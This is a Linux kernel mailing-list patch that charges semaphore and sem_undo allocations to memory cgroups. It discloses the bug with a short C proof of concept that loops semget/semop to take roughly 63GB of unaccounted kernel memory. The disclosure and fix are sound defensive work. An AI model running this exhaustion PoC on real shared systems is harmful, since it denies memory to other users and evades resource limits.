From: Yutian Yang <nglaive@gmail.com>
To: mhocko@kernel.org, hannes@cmpxchg.org, vdavydov.dev@gmail.com
Cc: cgroups@vger.kernel.org, linux-mm@kvack.org,
shenwenbo@zju.edu.cn, Yutian Yang <nglaive@gmail.com>
Subject: [PATCH] memcg: charge semaphores and sem undo objects
Date: Thu, 15 Jul 2021 03:14:44 -0400 [thread overview]
Message-ID: <1626333284-1404-1-git-send-email-nglaive@gmail.com> (raw)

This patch adds accounting flags to semaphores and sem_undo allocation
sites so that kernel could correctly charge these objects.

A malicious user could take up more than 63GB unaccounted memory under
default sysctl settings by exploiting the unaccounted objects. She could
allocate up to 32,000 unaccounted semaphore sets with up to 32,000
unaccounted semaphore objects in each set. She could further allocate one
sem_undo unaccounted object for each semaphore set.

The following code shows a PoC that takes ~63GB unaccounted memory, while
it is charged for only less than 1MB memory usage. We evaluate the PoC on
QEMU x86_64 v5.2.90 + Linux kernel v5.10.19 + Debian buster.

```
/*------------------------- POC code ----------------------------*/
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/stat.h>
#include <time.h>
#include <stdint.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sched.h>

#define errExit(msg)    do { perror(msg); exit(EXIT_FAILURE); \
                        } while (0)

int main(int argc, char *argv[]) {
  int err, semid;
  struct sembuf sops;
  for (int i = 0; i < 31200; ++i) {
    semid = semget(IPC_PRIVATE, 31200, IPC_CREAT);
    if (semid == -1) {
      errExit("semget");
    }
    sops.sem_num = 0;
    sops.sem_op = 1;
    sops.sem_flg = SEM_UNDO;
    err = semop(semid, &sops, 1);
    if (err == -1) {
      errExit("semop");
    }
  }
  while(1);
  return 0;
}
/*------------------------- end ---------------------------------*/
```

Thanks!

Yutian Yang,
Zhejiang University

Signed-off-by: Yutian Yang <nglaive@gmail.com>
---
 ipc/sem.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

```
diff --git a/ipc/sem.c b/ipc/sem.c
index f6c30a85d..6860de0b1 100644
--- a/ipc/sem.c
+++ b/ipc/sem.c
@@ -511,7 +511,7 @@ static struct sem_array *sem_alloc(size_t nsems)
        if (nsems > (INT_MAX - sizeof(*sma)) / sizeof(sma->sems[0]))
                return NULL;

-       sma = kvzalloc(struct size(sma, sems, nsems), GFP_KERNEL);
+       sma = kvzalloc(struct_size(sma, sems, nsems), GFP_KERNEL_ACCOUNT);
        if (unlikely(!sma))
                return NULL;

@@ -1935,7 +1935,7 @@ static struct sem_undo *find_alloc_undo(struct ipc_namespace *ns, int semid)
        rcu_read_unlock();

        /* step 2: allocate new undo structure */
-       new = kzalloc(sizeof(struct sem_undo) + sizeof(short)*nsems, GFP_KERNEL);
+       new = kzalloc(sizeof(struct sem_undo) + sizeof(short)*nsems, GFP_KERNEL_ACCOUNT);
        if (!new) {
                ipc_rcu_putref(&sma->sem_perm, sem_rcu_free);
                return ERR_PTR(-ENOMEM);
--
2.25.1
```

---

next reply other threads:[~2021-07-15 7:14 UTC|newest]

Thread overview: 5+ messages / expand[flat|nested] mbox.gz Atom feed top
2021-07-15 7:14 Yutian Yang [this message]
2021-07-15 17:05 ` [PATCH] memcg: charge semaphores and sem_undo objects Shakeel Butt
2021-07-16 3:57 ` Vasily Averin
2021-07-15 17:49 ` Matthew Wilcox
2021-07-15 18:22 ` Shakeel Butt

find likely ancestor, descendant, or conflicting patches for this message:
dfblob:f6c30a85 dfblob:6860de0b
search (help)

---

https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the **In-Reply-To** header
  via mailto: links, try the mailto: link

Be sure your reply has a **Subject:** header at the top and a blank line before the message body.
